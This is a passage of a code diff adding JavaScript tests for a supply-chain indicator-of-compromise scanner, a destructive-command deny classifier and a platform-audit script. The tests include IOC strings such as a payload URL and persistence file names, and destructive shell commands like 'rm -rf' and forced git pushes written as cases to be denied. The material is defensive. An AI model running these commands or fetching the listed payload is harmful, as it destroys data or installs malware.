assert.ok(indicators.includes('IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner'));
|
||||
assert.ok(indicators.includes('codeql_analysis.yml'));
|
||||
assert.ok(indicators.includes('litter.catbox.moe/h8nc9u.js'));
|
||||
assert.ok(indicators.includes('svksjrhjkcejg'));
|
||||
assert.ok(indicators.includes('OhNoWhatsGoingOnWithGitHub'));
|
||||
assert.ok(indicators.includes('claude@users.noreply.github.com'));
|
||||
assert.ok(indicators.includes('dependabout/'));
|
||||
assert.ok(indicators.includes('signalservice'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects user-level Python persistence payloads when home scan is enabled', () => {
|
||||
withFixture({
|
||||
'home/.local/bin/pgmonitor.py': 'print("persistence")',
|
||||
'home/.config/systemd/user/pgsql-monitor.service': '[Service]\nExecStart=python3 ~/.local/bin/pgmonitor.py',
|
||||
}, rootDir => {
|
||||
const homeDir = path.join(rootDir, 'home');
|
||||
const result = scanSupplyChainIocs({ rootDir, home: true, homeDir });
|
||||
const indicators = result.findings.map(finding => finding.indicator);
|
||||
assert.ok(indicators.includes('pgmonitor.py'));
|
||||
assert.ok(indicators.includes('pgsql-monitor.service'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects installed payload filenames in node_modules', () => {
|
||||
withFixture({
|
||||
'node_modules/@tanstack/react-router/router_init.js': '/* payload */',
|
||||
'node_modules/@opensearch-project/opensearch/opensearch_init.js': '/* payload */',
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
assert.ok(result.findings.some(finding => finding.indicator === 'router_init.js'));
|
||||
assert.ok(result.findings.some(finding => finding.indicator === 'opensearch_init.js'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
|
||||
45
tests/docs/canary-watch.test.js
Normal file
45
tests/docs/canary-watch.test.js
Normal file
@@ -0,0 +1,45 @@
|
||||
const assert = require('assert');
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
const SKILL_PATH = path.join(__dirname, '..', '..', 'skills', 'canary-watch', 'SKILL.md');
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` \u2713 ${name}`);
|
||||
return true;
|
||||
} catch (error) {
|
||||
console.log(` \u2717 ${name}`);
|
||||
console.log(` Error: ${error.message}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function runTests() {
|
||||
console.log('\n=== Testing canary-watch skill docs ===\n');
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
const body = fs.readFileSync(SKILL_PATH, 'utf8');
|
||||
|
||||
if (test('description monitoring claims are backed by watch sections', () => {
|
||||
for (const phrase of [
|
||||
'HTTP endpoints',
|
||||
'SSE streams',
|
||||
'static assets',
|
||||
'console errors',
|
||||
'performance regressions',
|
||||
]) {
|
||||
assert.ok(body.toLowerCase().includes(phrase.toLowerCase()), `missing phrase: ${phrase}`);
|
||||
}
|
||||
assert.ok(body.includes('Static Assets'), 'watch list should include static assets');
|
||||
assert.ok(body.includes('SSE Streams'), 'watch list should include SSE streams');
|
||||
assert.ok(body.includes('SSE endpoint cannot connect'), 'critical thresholds should cover SSE failures');
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||
process.exit(failed > 0 ? 1 : 0);
|
||||
}
|
||||
|
||||
runTests();
|
||||
@@ -50,6 +50,7 @@ const expectedReleaseFiles = [
|
||||
'telegram-handoff.md',
|
||||
'demo-prompts.md',
|
||||
'quickstart.md',
|
||||
'preview-pack-manifest.md',
|
||||
'publication-readiness.md',
|
||||
];
|
||||
|
||||
@@ -104,6 +105,10 @@ test('release docs do not contain unresolved public-link placeholders', () => {
|
||||
test('business launch copy stays aligned with the rc.1 public surface', () => {
|
||||
const source = read('docs/business/social-launch-copy.md');
|
||||
assert.ok(source.includes('ECC v2.0.0-rc.1'), 'business launch copy should use the rc.1 release');
|
||||
assert.ok(
|
||||
source.includes('preview pack is ready for final release review'),
|
||||
'business launch copy should stay pre-publication until release URLs exist'
|
||||
);
|
||||
assert.ok(
|
||||
source.includes('https://github.com/affaan-m/everything-claude-code'),
|
||||
'business launch copy should include the public repo URL'
|
||||
@@ -118,6 +123,21 @@ test('business launch copy stays aligned with the rc.1 public surface', () => {
|
||||
assert.ok(!source.includes('v1.8.0'), 'business launch copy should not stay pinned to v1.8.0');
|
||||
});
|
||||
|
||||
test('announcement drafts avoid live-release claims before publication', () => {
|
||||
const announcementFiles = [
|
||||
'docs/releases/2.0.0-rc.1/linkedin-post.md',
|
||||
'docs/business/social-launch-copy.md',
|
||||
];
|
||||
|
||||
for (const relativePath of announcementFiles) {
|
||||
const source = read(relativePath);
|
||||
assert.ok(
|
||||
!/ECC v2\.0\.0-rc\.1 is live\./.test(source),
|
||||
`${relativePath} must not claim rc.1 is live before the release gate completes`
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
test('Hermes setup uses release-candidate wording for the rc.1 surface', () => {
|
||||
const source = read('docs/HERMES-SETUP.md');
|
||||
assert.ok(source.includes('Public Release Candidate Scope'));
|
||||
@@ -144,6 +164,34 @@ test('release notes route new contributors through the rc.1 quickstart', () => {
|
||||
assert.ok(releaseNotes.includes('[rc.1 quickstart](quickstart.md)'));
|
||||
});
|
||||
|
||||
test('preview pack manifest assembles release, Hermes, and publication gates', () => {
|
||||
const manifest = read('docs/releases/2.0.0-rc.1/preview-pack-manifest.md');
|
||||
|
||||
for (const artifact of [
|
||||
'docs/HERMES-SETUP.md',
|
||||
'skills/hermes-imports/SKILL.md',
|
||||
'docs/architecture/harness-adapter-compliance.md',
|
||||
'docs/releases/2.0.0-rc.1/publication-readiness.md',
|
||||
'docs/releases/2.0.0-rc.1/naming-and-publication-matrix.md',
|
||||
]) {
|
||||
assert.ok(manifest.includes(artifact), `preview pack manifest missing ${artifact}`);
|
||||
}
|
||||
|
||||
for (const blocker of [
|
||||
'GitHub prerelease `v2.0.0-rc.1`',
|
||||
'npm `ecc-universal@2.0.0-rc.1`',
|
||||
'Claude plugin tag',
|
||||
'Codex plugin publication',
|
||||
'ECC Tools billing/product readiness',
|
||||
]) {
|
||||
assert.ok(manifest.includes(blocker), `preview pack manifest missing blocker ${blocker}`);
|
||||
}
|
||||
|
||||
assert.ok(manifest.includes('no raw workspace exports'));
|
||||
assert.ok(manifest.includes('Final Verification Commands'));
|
||||
assert.ok(manifest.includes('Reference-Inspired Adapter Direction'));
|
||||
});
|
||||
|
||||
test('rc.1 quickstart gives a clone-to-cross-harness path', () => {
|
||||
const quickstart = read('docs/releases/2.0.0-rc.1/quickstart.md');
|
||||
for (const heading of ['Clone', 'Install', 'Verify', 'First Skill', 'Switch Harness']) {
|
||||
@@ -178,6 +226,7 @@ test('launch checklist records the ecc2 alpha version policy', () => {
|
||||
|
||||
test('publication readiness checklist gates public release actions on evidence', () => {
|
||||
const source = read('docs/releases/2.0.0-rc.1/publication-readiness.md');
|
||||
const may15Evidence = read('docs/releases/2.0.0-rc.1/publication-evidence-2026-05-15.md');
|
||||
|
||||
for (const section of [
|
||||
'## Release Identity Matrix',
|
||||
@@ -211,6 +260,15 @@ test('publication readiness checklist gates public release actions on evidence',
|
||||
]) {
|
||||
assert.ok(source.includes(surface), `publication readiness missing ${surface}`);
|
||||
}
|
||||
|
||||
assert.ok(source.includes('publication-evidence-2026-05-15.md'));
|
||||
assert.ok(may15Evidence.includes('PR #1921'));
|
||||
assert.ok(may15Evidence.includes('AgentShield PR #83'));
|
||||
assert.ok(may15Evidence.includes('| Trunk discussions | GraphQL discussion count and maintainer-touch sweep | 58 total discussions;'));
|
||||
assert.ok(source.includes('58 trunk discussions, 0 without maintainer touch'));
|
||||
assert.ok(may15Evidence.includes('env -u GITHUB_TOKEN'));
|
||||
assert.ok(may15Evidence.includes('ITO-44'));
|
||||
assert.ok(may15Evidence.includes('0 open PRs, 0 open issues'));
|
||||
});
|
||||
|
||||
test('release checklist and roadmap link to publication readiness evidence gate', () => {
|
||||
|
||||
@@ -1282,6 +1282,115 @@ function runTests() {
|
||||
'double-quoted dollar-paren subshell');
|
||||
})) passed++; else failed++;
|
||||
|
||||
// --- Subshell + brace-group bypass coverage ---
|
||||
// Destructive commands inside `(...)` and `{ ...; }` execute the
|
||||
// same way they do at the top level, so the destructive classifier
|
||||
// must see inside those bodies too. Nested parens `((...))` are
|
||||
// arithmetic-evaluation syntax in bash (not a nested subshell), but
|
||||
// our parser depth-tracks them conservatively — i.e. the inner
|
||||
// tokens are still scanned for destructive intent. That's safety
|
||||
// over precision and the right default for this gate.
|
||||
|
||||
if (test('denies rm -rf inside plain (...) subshell group', () => {
|
||||
expectDestructiveDeny('(rm -rf /tmp/junk)', 'plain subshell group');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf inside ((...)) — arithmetic eval, treated conservatively', () => {
|
||||
expectDestructiveDeny('((rm -rf /tmp/junk))', 'arithmetic-eval parens');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf inside { ...; } brace group', () => {
|
||||
expectDestructiveDeny('{ rm -rf /tmp/junk; }', 'brace group');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies git push --force inside plain (...) subshell group', () => {
|
||||
expectDestructiveDeny('(git push --force origin main)',
|
||||
'git-force in subshell');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies git push --force inside { ...; } brace group', () => {
|
||||
expectDestructiveDeny('{ git push --force origin main; }',
|
||||
'git-force in brace group');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf nested across () and {} (cross-syntax)', () => {
|
||||
expectDestructiveDeny('(echo y; { rm -rf /tmp/junk; })',
|
||||
'() containing {} cross-syntax');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf nested across $() and () (cross-syntax)', () => {
|
||||
expectDestructiveDeny('$(echo y; (rm -rf /tmp/junk))',
|
||||
'$() containing () cross-syntax');
|
||||
})) passed++; else failed++;
|
||||
|
||||
// Negative cases — literals and non-destructive commands must NOT
|
||||
// be promoted to destructive by the new grouping-body walker.
|
||||
|
||||
if (test('allows literal (rm -rf ...) inside single quotes', () => {
|
||||
expectAllow("git commit -m '(rm -rf /tmp/junk)'",
|
||||
'single-quoted subshell literal');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('allows literal (rm -rf ...) inside double quotes', () => {
|
||||
expectAllow('echo "(rm -rf /tmp/junk)"',
|
||||
'double-quoted subshell literal');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('allows literal { rm -rf ...; } inside double quotes', () => {
|
||||
expectAllow('echo "{ rm -rf /tmp/junk; }"',
|
||||
'double-quoted brace-group literal');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('allows non-destructive (echo hello)', () => {
|
||||
expectAllow('(echo hello)', 'non-destructive subshell');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('allows non-destructive { echo hello; }', () => {
|
||||
expectAllow('{ echo hello; }', 'non-destructive brace group');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('allows {rm -rf} — no space after { is not a brace group', () => {
|
||||
// bash treats `{rm` as a single token; no destructive intent
|
||||
// can be statically derived from this form, and the command
|
||||
// would not actually run rm at runtime either.
|
||||
expectAllow('echo {rm -rf /tmp/junk}',
|
||||
'no-space brace literal');
|
||||
})) passed++; else failed++;
|
||||
|
||||
// --- Round 1 review fixes: brace-group span-skip + boundary ---
|
||||
// Verifies the body-accumulation loop in `extractBraceGroups`
|
||||
// correctly walks past `$(...)`, `(...)`, and backtick spans so
|
||||
// a `}` inside one of those does not terminate the brace group
|
||||
// early, plus the nested `{` boundary rule.
|
||||
|
||||
if (test('denies rm -rf in brace group with backtick containing }', () => {
|
||||
expectDestructiveDeny('{ echo `echo }`; rm -rf /tmp/junk; }',
|
||||
'brace + backtick containing }');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf in brace group with $() containing }', () => {
|
||||
expectDestructiveDeny('{ echo $(echo "}"); rm -rf /tmp/junk; }',
|
||||
'brace + $() containing }');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf in brace group with nested () containing }', () => {
|
||||
expectDestructiveDeny('{ (echo "}"); rm -rf /tmp/junk; }',
|
||||
'brace + () containing }');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf in brace group with $() body containing }', () => {
|
||||
expectDestructiveDeny('{ x=$(echo a}b); rm -rf /tmp/junk; }',
|
||||
'brace + $() body with }');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf when token like foo{ appears before brace group close', () => {
|
||||
// tokens like `foo{` are not reserved-word `{` (no boundary,
|
||||
// no whitespace after) — must not bump nested-depth and so
|
||||
// must not delay brace-group close
|
||||
expectDestructiveDeny('{ echo foo{bar; rm -rf /tmp/junk; }',
|
||||
'foo{ token inside brace body');
|
||||
})) passed++; else failed++;
|
||||
|
||||
// Cleanup only the temp directory created by this test file.
|
||||
try {
|
||||
if (fs.existsSync(stateDir)) {
|
||||
|
||||
@@ -72,6 +72,8 @@ function main() {
|
||||
assert.match(result.stdout, /consult/);
|
||||
assert.match(result.stdout, /loop-status/);
|
||||
assert.match(result.stdout, /work-items/);
|
||||
assert.match(result.stdout, /platform-audit/);
|
||||
assert.match(result.stdout, /security-ioc-scan/);
|
||||
}],
|
||||
['delegates explicit install command', () => {
|
||||
const result = runCli(['install', '--dry-run', '--json', 'typescript']);
|
||||
@@ -207,6 +209,28 @@ function main() {
|
||||
assert.strictEqual(result.status, 0, result.stderr);
|
||||
assert.match(result.stdout, /node scripts\/work-items\.js upsert/);
|
||||
}],
|
||||
['supports help for the platform-audit subcommand', () => {
|
||||
const result = runCli(['help', 'platform-audit']);
|
||||
assert.strictEqual(result.status, 0, result.stderr);
|
||||
assert.match(result.stdout, /Usage: node scripts\/platform-audit\.js/);
|
||||
}],
|
||||
['supports help for the security-ioc-scan subcommand', () => {
|
||||
const result = runCli(['help', 'security-ioc-scan']);
|
||||
assert.strictEqual(result.status, 0, result.stderr);
|
||||
assert.match(result.stdout, /Usage: node scripts\/ci\/scan-supply-chain-iocs\.js/);
|
||||
}],
|
||||
['delegates security-ioc-scan command', () => {
|
||||
const projectRoot = createTempDir('ecc-cli-ioc-scan-');
|
||||
fs.writeFileSync(
|
||||
path.join(projectRoot, 'package.json'),
|
||||
JSON.stringify({ dependencies: { leftpad: '1.0.0' } }, null, 2)
|
||||
);
|
||||
|
||||
const result = runCli(['security-ioc-scan', '--root', projectRoot, '--json']);
|
||||
assert.strictEqual(result.status, 0, result.stderr);
|
||||
const payload = parseJson(result.stdout);
|
||||
assert.deepStrictEqual(payload.findings, []);
|
||||
}],
|
||||
['fails on unknown commands instead of treating them as installs', () => {
|
||||
const result = runCli(['bogus']);
|
||||
assert.strictEqual(result.status, 1);
|
||||
|
||||
@@ -7,6 +7,7 @@ const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
const README = path.join(__dirname, '..', '..', 'README.md');
|
||||
const RULES_README = path.join(__dirname, '..', '..', 'rules', 'README.md');
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
@@ -27,6 +28,7 @@ function runTests() {
|
||||
let failed = 0;
|
||||
|
||||
const readme = fs.readFileSync(README, 'utf8');
|
||||
const rulesReadme = fs.readFileSync(RULES_README, 'utf8');
|
||||
|
||||
if (test('README marks one default path and warns against stacked installs', () => {
|
||||
assert.ok(
|
||||
@@ -138,6 +140,29 @@ function runTests() {
|
||||
);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rules README mirrors ECC namespaced install path', () => {
|
||||
assert.ok(
|
||||
rulesReadme.includes('mkdir -p ~/.claude/rules/ecc'),
|
||||
'rules README should create the ECC-owned user-level rules namespace'
|
||||
);
|
||||
assert.ok(
|
||||
rulesReadme.includes('cp -r rules/common ~/.claude/rules/ecc/'),
|
||||
'rules README should copy common rules under ~/.claude/rules/ecc/'
|
||||
);
|
||||
assert.ok(
|
||||
rulesReadme.includes('cp -r rules/typescript ~/.claude/rules/ecc/'),
|
||||
'rules README should copy language rules under ~/.claude/rules/ecc/'
|
||||
);
|
||||
assert.ok(
|
||||
rulesReadme.includes('mkdir -p .claude/rules/ecc'),
|
||||
'rules README should document the project-local ECC namespace'
|
||||
);
|
||||
assert.ok(
|
||||
!rulesReadme.includes('~/.claude/rules/typescript'),
|
||||
'rules README should not recommend flat user-level rule destinations'
|
||||
);
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||
process.exit(failed > 0 ? 1 : 0);
|
||||
}
|
||||
|
||||
@@ -43,6 +43,7 @@ function buildExpectedPublishPaths(repoRoot) {
|
||||
"manifests",
|
||||
"scripts/ecc.js",
|
||||
"scripts/catalog.js",
|
||||
"scripts/ci/scan-supply-chain-iocs.js",
|
||||
"scripts/consult.js",
|
||||
"scripts/claw.js",
|
||||
"scripts/doctor.js",
|
||||
@@ -54,6 +55,7 @@ function buildExpectedPublishPaths(repoRoot) {
|
||||
"scripts/list-installed.js",
|
||||
"scripts/loop-status.js",
|
||||
"scripts/observability-readiness.js",
|
||||
"scripts/platform-audit.js",
|
||||
"scripts/skill-create-output.js",
|
||||
"scripts/repair.js",
|
||||
"scripts/harness-adapter-compliance.js",
|
||||
@@ -119,8 +121,10 @@ function main() {
|
||||
|
||||
for (const requiredPath of [
|
||||
"scripts/catalog.js",
|
||||
"scripts/ci/scan-supply-chain-iocs.js",
|
||||
"scripts/consult.js",
|
||||
"scripts/work-items.js",
|
||||
"scripts/platform-audit.js",
|
||||
".gemini/GEMINI.md",
|
||||
".qwen/QWEN.md",
|
||||
".claude-plugin/plugin.json",
|
||||
|
||||
328
tests/scripts/platform-audit.test.js
Normal file
328
tests/scripts/platform-audit.test.js
Normal file
@@ -0,0 +1,328 @@
|
||||
/**
|
||||
* Tests for scripts/platform-audit.js
|
||||
*/
|
||||
|
||||
const assert = require('assert');
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
const { execFileSync, spawnSync } = require('child_process');
|
||||
|
||||
const SCRIPT = path.join(__dirname, '..', '..', 'scripts', 'platform-audit.js');
|
||||
|
||||
function createTempDir(prefix) {
|
||||
return fs.mkdtempSync(path.join(os.tmpdir(), prefix));
|
||||
}
|
||||
|
||||
function cleanup(dirPath) {
|
||||
fs.rmSync(dirPath, { recursive: true, force: true });
|
||||
}
|
||||
|
||||
function writeFile(rootDir, relativePath, content) {
|
||||
const targetPath = path.join(rootDir, relativePath);
|
||||
fs.mkdirSync(path.dirname(targetPath), { recursive: true });
|
||||
fs.writeFileSync(targetPath, content);
|
||||
}
|
||||
|
||||
function seedRepo(rootDir, overrides = {}) {
|
||||
const files = {
|
||||
'package.json': JSON.stringify({
|
||||
name: 'everything-claude-code',
|
||||
scripts: {
|
||||
'platform:audit': 'node scripts/platform-audit.js',
|
||||
'observability:ready': 'node scripts/observability-readiness.js',
|
||||
'security:ioc-scan': 'node scripts/ci/scan-supply-chain-iocs.js',
|
||||
'harness:audit': 'node scripts/harness-audit.js'
|
||||
}
|
||||
}, null, 2),
|
||||
'docs/ECC-2.0-GA-ROADMAP.md': [
|
||||
'ECC Platform Roadmap',
|
||||
'https://linear.app/itomarkets/project/ecc-platform-roadmap-52b328ee03e1',
|
||||
'ITO-44',
|
||||
'ITO-59'
|
||||
].join('\n'),
|
||||
'docs/architecture/progress-sync-contract.md': [
|
||||
'GitHub PRs/issues/discussions',
|
||||
'Linear project',
|
||||
'local handoff',
|
||||
'repo roadmap',
|
||||
'scripts/work-items.js'
|
||||
].join('\n'),
|
||||
'docs/security/supply-chain-incident-response.md': [
|
||||
'TanStack',
|
||||
'Mini Shai-Hulud',
|
||||
'node-ipc',
|
||||
'scan-supply-chain-iocs.js'
|
||||
].join('\n'),
|
||||
'docs/releases/2.0.0-rc.1/publication-evidence-2026-05-15.md': [
|
||||
'TanStack',
|
||||
'Mini Shai-Hulud',
|
||||
'Node IPC follow-up',
|
||||
'node-ipc',
|
||||
'IOC scan'
|
||||
].join('\n')
|
||||
};
|
||||
|
||||
for (const [relativePath, content] of Object.entries({ ...files, ...overrides })) {
|
||||
if (content === null) {
|
||||
continue;
|
||||
}
|
||||
writeFile(rootDir, relativePath, content);
|
||||
}
|
||||
}
|
||||
|
||||
function writeGhShim(rootDir, responses) {
|
||||
const shimPath = path.join(rootDir, 'gh-shim.js');
|
||||
fs.writeFileSync(shimPath, `
|
||||
const responses = ${JSON.stringify(responses)};
|
||||
const args = process.argv.slice(2);
|
||||
const key = args.join(' ');
|
||||
if (process.env.GITHUB_TOKEN) {
|
||||
console.error('GITHUB_TOKEN should be unset by default');
|
||||
process.exit(42);
|
||||
}
|
||||
if (!Object.prototype.hasOwnProperty.call(responses, key)) {
|
||||
console.error('Unexpected gh args: ' + key);
|
||||
process.exit(3);
|
||||
}
|
||||
process.stdout.write(JSON.stringify(responses[key]));
|
||||
`);
|
||||
return shimPath;
|
||||
}
|
||||
|
||||
function run(args = [], options = {}) {
|
||||
const env = {
|
||||
...process.env,
|
||||
...(options.env || {})
|
||||
};
|
||||
|
||||
return execFileSync('node', [SCRIPT, ...args], {
|
||||
cwd: options.cwd || path.join(__dirname, '..', '..'),
|
||||
env,
|
||||
encoding: 'utf8',
|
||||
stdio: ['pipe', 'pipe', 'pipe'],
|
||||
timeout: 10000
|
||||
});
|
||||
}
|
||||
|
||||
function runProcess(args = [], options = {}) {
|
||||
const env = {
|
||||
...process.env,
|
||||
...(options.env || {})
|
||||
};
|
||||
|
||||
return spawnSync('node', [SCRIPT, ...args], {
|
||||
cwd: options.cwd || path.join(__dirname, '..', '..'),
|
||||
env,
|
||||
encoding: 'utf8',
|
||||
stdio: ['pipe', 'pipe', 'pipe'],
|
||||
timeout: 10000
|
||||
});
|
||||
}
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` PASS ${name}`);
|
||||
return true;
|
||||
} catch (error) {
|
||||
console.log(` FAIL ${name}`);
|
||||
console.log(` Error: ${error.message}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function runTests() {
|
||||
console.log('\n=== Testing platform-audit.js ===\n');
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
if (test('parseArgs accepts supported flags and rejects invalid values', () => {
|
||||
const { parseArgs } = require(SCRIPT);
|
||||
const rootDir = createTempDir('platform-audit-args-');
|
||||
|
||||
try {
|
||||
const parsed = parseArgs([
|
||||
'node',
|
||||
'script',
|
||||
'--format=json',
|
||||
`--root=${rootDir}`,
|
||||
'--repo',
|
||||
'affaan-m/everything-claude-code',
|
||||
'--max-open-prs',
|
||||
'5',
|
||||
'--max-open-issues',
|
||||
'6',
|
||||
'--allow-untracked',
|
||||
'docs/drafts/'
|
||||
]);
|
||||
|
||||
assert.strictEqual(parsed.format, 'json');
|
||||
assert.strictEqual(parsed.root, path.resolve(rootDir));
|
||||
assert.deepStrictEqual(parsed.repos, ['affaan-m/everything-claude-code']);
|
||||
assert.strictEqual(parsed.thresholds.maxOpenPrs, 5);
|
||||
assert.strictEqual(parsed.thresholds.maxOpenIssues, 6);
|
||||
assert.deepStrictEqual(parsed.allowUntracked, ['docs/drafts/']);
|
||||
|
||||
assert.throws(() => parseArgs(['node', 'script', '--format', 'xml']), /Invalid format/);
|
||||
assert.throws(() => parseArgs(['node', 'script', '--repo']), /--repo requires a value/);
|
||||
assert.throws(() => parseArgs(['node', 'script', '--max-open-prs', 'x']), /Invalid --max-open-prs/);
|
||||
assert.throws(() => parseArgs(['node', 'script', '--unknown']), /Unknown argument/);
|
||||
} finally {
|
||||
cleanup(rootDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('skip-github report checks local release and security evidence', () => {
|
||||
const projectRoot = createTempDir('platform-audit-local-');
|
||||
|
||||
try {
|
||||
seedRepo(projectRoot);
|
||||
const parsed = JSON.parse(run(['--format=json', `--root=${projectRoot}`, '--skip-github'], { cwd: projectRoot }));
|
||||
|
||||
assert.strictEqual(parsed.schema_version, 'ecc.platform-audit.v1');
|
||||
assert.strictEqual(parsed.ready, true);
|
||||
assert.strictEqual(parsed.github.skipped, true);
|
||||
assert.ok(parsed.checks.some(check => check.id === 'roadmap-linear-mirror' && check.status === 'pass'));
|
||||
assert.ok(parsed.checks.some(check => check.id === 'supply-chain-runbook' && check.status === 'pass'));
|
||||
assert.deepStrictEqual(parsed.top_actions, []);
|
||||
} finally {
|
||||
cleanup(projectRoot);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('github queue and discussion budgets pass with maintainer touch', () => {
|
||||
const projectRoot = createTempDir('platform-audit-github-pass-');
|
||||
|
||||
try {
|
||||
seedRepo(projectRoot);
|
||||
const shimPath = writeGhShim(projectRoot, {
|
||||
'pr list --repo affaan-m/everything-claude-code --state open --json number,title,isDraft,mergeStateStatus,updatedAt,url,author': [],
|
||||
'issue list --repo affaan-m/everything-claude-code --state open --json number,title,updatedAt,url,author,labels': [],
|
||||
'api graphql -f owner=affaan-m -f name=everything-claude-code -F first=100 -f query=query($owner: String!, $name: String!, $first: Int!) { repository(owner: $owner, name: $name) { hasDiscussionsEnabled discussions(first: $first, orderBy: {field: UPDATED_AT, direction: DESC}) { totalCount nodes { number title url updatedAt authorAssociation comments(first: 20) { nodes { authorAssociation } } } } } }': {
|
||||
data: {
|
||||
repository: {
|
||||
hasDiscussionsEnabled: true,
|
||||
discussions: {
|
||||
totalCount: 1,
|
||||
nodes: [
|
||||
{
|
||||
number: 73,
|
||||
title: 'Compacting during workflow',
|
||||
url: 'https://github.com/example/discussions/73',
|
||||
updatedAt: '2026-05-15T00:00:00Z',
|
||||
authorAssociation: 'NONE',
|
||||
comments: { nodes: [{ authorAssociation: 'OWNER' }] }
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
const parsed = JSON.parse(run([
|
||||
'--format=json',
|
||||
`--root=${projectRoot}`,
|
||||
'--repo',
|
||||
'affaan-m/everything-claude-code'
|
||||
], {
|
||||
cwd: projectRoot,
|
||||
env: {
|
||||
ECC_GH_SHIM: shimPath,
|
||||
GITHUB_TOKEN: 'must-be-removed'
|
||||
}
|
||||
}));
|
||||
|
||||
assert.strictEqual(parsed.ready, true);
|
||||
assert.strictEqual(parsed.github.totals.openPrs, 0);
|
||||
assert.strictEqual(parsed.github.totals.openIssues, 0);
|
||||
assert.strictEqual(parsed.github.totals.discussionsNeedingMaintainerTouch, 0);
|
||||
assert.ok(parsed.checks.some(check => check.id === 'github-discussion-touch' && check.status === 'pass'));
|
||||
} finally {
|
||||
cleanup(projectRoot);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('threshold failures and untouched discussions become top actions', () => {
|
||||
const projectRoot = createTempDir('platform-audit-github-fail-');
|
||||
|
||||
try {
|
||||
seedRepo(projectRoot);
|
||||
const prs = Array.from({ length: 3 }, (_, index) => ({
|
||||
number: index + 1,
|
||||
title: `PR ${index + 1}`,
|
||||
isDraft: false,
|
||||
mergeStateStatus: 'CLEAN',
|
||||
updatedAt: '2026-05-15T00:00:00Z',
|
||||
url: `https://github.com/example/pull/${index + 1}`,
|
||||
author: { login: 'contributor' }
|
||||
}));
|
||||
const shimPath = writeGhShim(projectRoot, {
|
||||
'pr list --repo affaan-m/everything-claude-code --state open --json number,title,isDraft,mergeStateStatus,updatedAt,url,author': prs,
|
||||
'issue list --repo affaan-m/everything-claude-code --state open --json number,title,updatedAt,url,author,labels': [],
|
||||
'api graphql -f owner=affaan-m -f name=everything-claude-code -F first=100 -f query=query($owner: String!, $name: String!, $first: Int!) { repository(owner: $owner, name: $name) { hasDiscussionsEnabled discussions(first: $first, orderBy: {field: UPDATED_AT, direction: DESC}) { totalCount nodes { number title url updatedAt authorAssociation comments(first: 20) { nodes { authorAssociation } } } } } }': {
|
||||
data: {
|
||||
repository: {
|
||||
hasDiscussionsEnabled: true,
|
||||
discussions: {
|
||||
totalCount: 1,
|
||||
nodes: [
|
||||
{
|
||||
number: 1239,
|
||||
title: 'Losing context',
|
||||
url: 'https://github.com/example/discussions/1239',
|
||||
updatedAt: '2026-05-15T00:00:00Z',
|
||||
authorAssociation: 'NONE',
|
||||
comments: { nodes: [] }
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
const parsed = JSON.parse(run([
|
||||
'--format=json',
|
||||
`--root=${projectRoot}`,
|
||||
'--repo',
|
||||
'affaan-m/everything-claude-code',
|
||||
'--max-open-prs',
|
||||
'2'
|
||||
], {
|
||||
cwd: projectRoot,
|
||||
env: { ECC_GH_SHIM: shimPath }
|
||||
}));
|
||||
|
||||
assert.strictEqual(parsed.ready, false);
|
||||
assert.ok(parsed.top_actions.some(action => action.id === 'github-open-pr-budget'));
|
||||
assert.ok(parsed.top_actions.some(action => action.id === 'github-discussion-touch'));
|
||||
assert.strictEqual(parsed.github.totals.discussionsNeedingMaintainerTouch, 1);
|
||||
} finally {
|
||||
cleanup(projectRoot);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('cli help and invalid args exit cleanly', () => {
|
||||
const help = runProcess(['--help']);
|
||||
assert.strictEqual(help.status, 0);
|
||||
assert.ok(help.stdout.includes('Usage: node scripts/platform-audit.js'));
|
||||
|
||||
const invalid = runProcess(['--format', 'xml']);
|
||||
assert.strictEqual(invalid.status, 1);
|
